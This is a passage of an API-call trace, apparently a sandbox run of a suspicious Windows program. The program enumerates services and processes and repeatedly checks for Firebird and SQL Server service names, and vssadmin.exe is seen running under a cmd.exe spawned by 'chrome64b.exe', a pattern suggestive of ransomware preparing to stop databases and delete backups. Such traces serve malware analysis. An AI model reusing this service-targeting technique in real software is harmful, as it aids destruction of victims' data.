lpString2="Schedule") returned 1 [0264.859] lstrlenW (lpString="SecurityHealthService") returned 21 [0264.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0264.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0264.859] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0264.859] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0264.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0264.859] lstrlenW (lpString="SENS") returned 4 [0264.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0264.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0264.859] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0264.859] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0264.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0264.859] lstrlenW (lpString="ShellHWDetection") returned 16 [0264.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.859] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0264.859] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0264.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0264.859] lstrlenW (lpString="Spooler") returned 7 [0264.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0264.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0264.860] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0264.860] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0264.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0264.860] lstrlenW (lpString="StateRepository") returned 15 [0264.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0264.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0264.860] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0264.860] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0264.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0264.860] lstrlenW (lpString="SysMain") returned 7 [0264.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0264.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0264.860] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0264.860] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0264.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0264.860] lstrlenW (lpString="SystemEventsBroker") returned 18 [0264.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0264.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0264.860] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0264.860] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0264.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0264.860] lstrlenW (lpString="Themes") returned 6 [0264.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0264.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0264.860] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0264.860] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0264.861] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0264.861] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x548 [0264.877] Process32FirstW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.881] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.882] lstrlenW (lpString="System") returned 6 [0264.882] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.883] lstrlenW (lpString="smss.exe") returned 8 [0264.883] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.884] lstrlenW (lpString="csrss.exe") returned 9 [0264.884] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.885] lstrlenW (lpString="wininit.exe") returned 11 [0264.885] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.886] lstrlenW (lpString="csrss.exe") returned 9 [0264.886] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.886] lstrlenW (lpString="winlogon.exe") returned 12 [0264.886] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.887] lstrlenW (lpString="services.exe") returned 12 [0264.887] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.888] lstrlenW (lpString="lsass.exe") returned 9 [0264.888] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0264.889] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0264.889] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0264.890] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0264.890] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.891] lstrlenW (lpString="svchost.exe") returned 11 [0264.891] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.891] lstrlenW (lpString="svchost.exe") returned 11 [0264.891] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.892] lstrlenW (lpString="dwm.exe") returned 7 [0264.892] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.950] lstrlenW (lpString="svchost.exe") returned 11 [0264.950] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.951] lstrlenW (lpString="svchost.exe") returned 11 [0264.951] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.951] lstrlenW (lpString="svchost.exe") returned 11 [0264.951] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.952] lstrlenW (lpString="svchost.exe") returned 11 [0264.952] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.953] lstrlenW (lpString="svchost.exe") returned 11 [0264.953] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.954] lstrlenW (lpString="svchost.exe") returned 11 [0264.954] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.954] lstrlenW (lpString="svchost.exe") returned 11 [0264.954] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.955] lstrlenW (lpString="svchost.exe") returned 11 [0264.955] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.956] lstrlenW (lpString="svchost.exe") returned 11 [0264.956] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.957] lstrlenW (lpString="svchost.exe") returned 11 [0264.957] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.958] lstrlenW (lpString="spoolsv.exe") returned 11 [0264.958] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.959] lstrlenW (lpString="svchost.exe") returned 11 [0264.959] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.959] lstrlenW (lpString="audiodg.exe") returned 11 [0264.959] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0264.960] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0264.960] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0264.961] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0264.961] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0264.962] lstrlenW (lpString="Memory Compression") returned 18 [0264.962] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.962] lstrlenW (lpString="svchost.exe") returned 11 [0264.962] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0264.963] lstrlenW (lpString="sihost.exe") returned 10 [0264.963] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0264.964] lstrlenW (lpString="MDMAgent.exe") returned 12 [0264.964] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0264.965] lstrlenW (lpString="taskhostw.exe") returned 13 [0264.965] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0264.965] lstrlenW (lpString="msoia.exe") returned 9 [0264.965] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.966] lstrlenW (lpString="explorer.exe") returned 12 [0264.966] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0264.967] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0264.967] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0264.968] lstrlenW (lpString="SearchUI.exe") returned 12 [0264.968] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0264.968] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0264.968] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.969] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0264.969] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0264.970] lstrlenW (lpString="chrome64b.exe") returned 13 [0264.970] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0264.971] lstrlenW (lpString="cmd.exe") returned 7 [0264.971] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0265.251] lstrlenW (lpString="conhost.exe") returned 11 [0265.252] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.267] lstrlenW (lpString="svchost.exe") returned 11 [0265.267] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0265.309] lstrlenW (lpString="vssadmin.exe") returned 12 [0265.309] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0265.309] lstrlenW (lpString="consent.exe") returned 11 [0265.309] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0265.310] CloseHandle (hObject=0x548) returned 1 [0265.310] Sleep (dwMilliseconds=0x1f4) [0266.154] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a068 [0266.154] EnumServicesStatusExW (in: hSCManager=0x69a068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0266.155] GetLastError () returned 0xea [0266.155] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1cc6) returned 0x45d9458 [0266.155] EnumServicesStatusExW (in: hSCManager=0x69a068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45d9458, cbBufSize=0x1cc6, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45d9458, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0266.156] CloseServiceHandle (hSCObject=0x69a068) returned 1 [0266.156] lstrlenW (lpString="Appinfo") returned 7 [0266.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0266.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0266.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0266.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0266.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0266.156] lstrlenW (lpString="AppXSvc") returned 7 [0266.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0266.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0266.156] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0266.156] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0266.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0266.156] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0266.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.156] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0266.156] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0266.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0266.156] lstrlenW (lpString="Audiosrv") returned 8 [0266.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0266.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0266.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0266.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0266.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0266.157] lstrlenW (lpString="BFE") returned 3 [0266.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0266.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0266.157] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0266.157] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0266.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0266.157] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0266.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0266.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0266.157] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0266.157] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0266.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0266.157] lstrlenW (lpString="CDPSvc") returned 6 [0266.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0266.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0266.157] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0266.157] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0266.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0266.157] lstrlenW (lpString="ClickToRunSvc") returned 13 [0266.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0266.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0266.158] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0266.158] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0266.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0266.158] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0266.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0266.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0266.158] 